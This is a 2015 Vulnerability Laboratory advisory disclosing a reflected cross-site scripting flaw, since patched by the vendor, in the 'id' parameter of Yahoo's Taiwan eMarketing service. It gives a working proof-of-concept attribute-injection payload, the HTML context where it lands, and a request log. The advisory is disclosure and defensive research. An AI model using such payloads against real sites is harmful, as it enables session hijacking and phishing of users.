Document Title:
===============
Yahoo eMarketing Bug Bounty #31 - Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1491

Yahoo Security ID (H1): #55395 


Release Date:
=============
2015-05-07


Vulnerability Laboratory ID (VL-ID):
====================================
1491


Common Vulnerability Scoring System:
====================================
3.3


Product & Service Introduction:
===============================
Yahoo! Inc. is an American multinational internet corporation headquartered in Sunnyvale, California. It is widely 
known for its web portal, search engine Yahoo! Search, and related services, including Yahoo! Directory, Yahoo! Mail, 
Yahoo! News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online mapping, video sharing, fantasy sports 
and its social media website. It is one of the most popular sites in the United States. According to news sources, 
roughly 700 million people visit Yahoo! websites every month. Yahoo! itself claims it attracts `more than half a 
billion consumers every month in more than 30 languages.

(Copy of the Vendor Homepage: http://www.yahoo.com )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a client-side cross site scripting web vulnerability in the official Yahoo eMarketing online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-05-03: Vendor Notification (Yahoo Security Team - Bug Bounty Program)
2015-05-05: Vendor Response/Feedback (Yahoo Security Team - Bug Bounty Program)
2015-05-06: Vendor Fix/Patch (Yahoo Developer Team)
2015-05-06: Bug Bounty Reward (Yahoo Security Team - Bug Bounty Program)
2015-05-07: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A non-persistent input validation web vulnerability has been discovered  in the official Yahoo eMarketing online service web-application.
The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise user/admin session information.

The vulnerability is located in the `id` value of the `eMarketing` module. Remote attackers are able to inject malicious script codes to client-side GET method 
application requests. Remote attackers are able to prepare special crafted web-links to execute client-side script code that compromises the yahoo user/admin 
session data. The execution of the script code occurs in same module context location by a mouse-over. The attack vector of the vulnerability is located on the 
client-side of the online service and the request method to inject or execute the code is GET.

The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5.
Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load 
of malicious script codes or non-persistent web module context manipulation.

Request Method(s):
            [+] GET

Vulnerable Module(s):
            [+] Yahoo > eMarketing

Vulnerable Parameter(s):
            [+] id


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privilege application user account and low user interaction (click).
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC Payload(s): "onmouseenter="confirm(document.domain)     (https://marketing.tw.campaign.yahoo.net/)

PoC: eMarketing ID
<br/>
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tr>
<td align="right" width="10%" >
<div class="fb-like" style="overflow: hidden; " data-href="http://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id="onmouseenter="confirm(document.domain)" data-layout="button_count" data-action="recommend" data-show-faces="false" data-share="true"></div>
</td>
<td align="left" valign="bottom" width="65%" >
<span style="font-size:12px; margin: 2px; font-weight:bold; color:#4d0079">覺得這篇文章有幫助？ 分享給更多頭家！</span>
</td>
</tr>
</table>


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id=%22onmouseenter=%22confirm(document.domain) 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Content Size[-1] Mime Type[text/html]
   Request Headers:
      Host[marketing.tw.campaign.yahoo.net]
      User-Agent[Mozilla/5.0 (X11; Linux i686; rv:37.0) Gecko/20100101 Firefox/37.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      Cookie[_ga=GA1.5.1632823259.1428499428; s_pers=%20s_fid%3D66FF8BBF1D4DB480-10779CBEBDA57A64%7C1491837590956%3B%20s_vs%3D1%7C1428680990957%3B%20s_nr%3D1428679190961-New%7C1460215190961%3B; __qca=P0-870655898-1430085821750; _ga=GA1.2.1969841862.1430892005]
      X-Forwarded-For[8.8.8.8]
      Connection[keep-alive]
   Response Headers:
      Date[Wed, 06 May 2015 12:19:05 GMT]
      Server[ATS]
      X-Powered-By[PHP/5.3.27]
      Content-Type[text/html]
      Age[0]
      Connection[close]
      Via[http/1.1 leonpc (ApacheTrafficServer/4.2.0 [c sSf ])]

Reference(s):
https://marketing.tw.campaign.yahoo.net
https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/
https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id=


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable id value in the emarketing service application of yahoo.
Restrict the input and disallow special chars or script code tags to prevent further injection attacks.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the tw yahoo application is estimated as medium. (CVSS 3.3)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@hotmail.fr]


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